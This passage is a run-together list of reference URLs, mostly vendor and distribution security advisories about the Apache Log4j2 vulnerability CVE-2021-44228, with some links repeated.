lists.fedoraproject.org/message/M5CSVUNV4HWZZXGOKNSK6L7RPM7BOKIB/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/VU57UJDCFIASIO35GC55JMKSRXJMCDFM/https://logging.apache.org/log4j/2.x/security.htmlhttps://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0032https://security.netapp.com/advisory/ntap-20211210-0007/https://support.apple.com/kb/HT213189https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbdhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbdhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbdhttps://twitter.com/kurtseifried/status/1469345530182455296https://www.bentley.com/en/common-vulnerability-exposure/be-2022-0001https://www.debian.org/security/2021/dsa-5020https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00646.htmlhttps://www.kb.cert.org/vuls/id/930724https://www.nu11secur1ty.com/2021/12/cve-2021-44228.htmlhttps://www.oracle.com/security-alerts/alert-cve-2021-44228.htmlhttps://www.oracle.com/security-alerts/cpuapr2022.htmlhttps://www.oracle.com/security-alerts/cpujan2022.html